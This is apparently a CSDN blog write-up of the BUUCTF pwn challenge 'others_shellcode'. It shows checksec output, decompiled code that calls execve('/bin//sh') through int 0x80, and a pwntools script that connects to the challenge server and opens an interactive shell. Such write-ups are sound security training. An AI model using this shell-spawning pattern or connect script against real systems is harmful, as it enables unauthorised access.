BUU刷题-Pwn-others_shellcode

文章介绍了如何在无需栈地址、LIBC地址等传统依赖的情况下,通过分析题目提供的ELF可执行文件,利用int0x80或syscall实现系统调用,从而在给定环境下利用核心伪代码进行内存溢出攻击并获取shell。
摘要由CSDN通过智能技术生成
解题思路:

泄露或修改内存数据:

  1. 堆地址:无需
  2. 栈地址:无需
  3. libc地址:无需
  4. BSS段地址:无需
    劫持程序执行流程:
    获得shell或flag:[[利用int 0x80 OR syscall(系统调用号)]]
学到的知识:
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file others_shellcode 
others_shellcode: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c1e8d8e26946c6b08794abdad991e3909e1bdc7f, not stripped
                                                                                                                     
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=others_shellcode 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified    Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   72) Symbols       No    0   0others_shellcode

libc版本:
wp借鉴:(24条消息) [BUUCTF-pwn]——others_shellcode_Y-peak的博客-CSDN博客

核心伪代码分析:

存在利用的的代码:

int getShell()
{
  int result; // eax
  char v1[9]; // [esp-Ch] [ebp-Ch] BYREF

  strcpy(v1, "/bin//sh");
  result = 11;
  __asm { int     80h; LINUX - sys_execve }
  return result;
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  getShell();
  return 0;
}
分析:

系统调用号,nc即可获得shell

脚本:
from pwn import *
context(log_level='debug',arch='i386',os='linux')

pwnfile='./others_shellcode'
sh=remote('node4.buuoj.cn',29881)
#sh=process(pwnfile)

sh.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值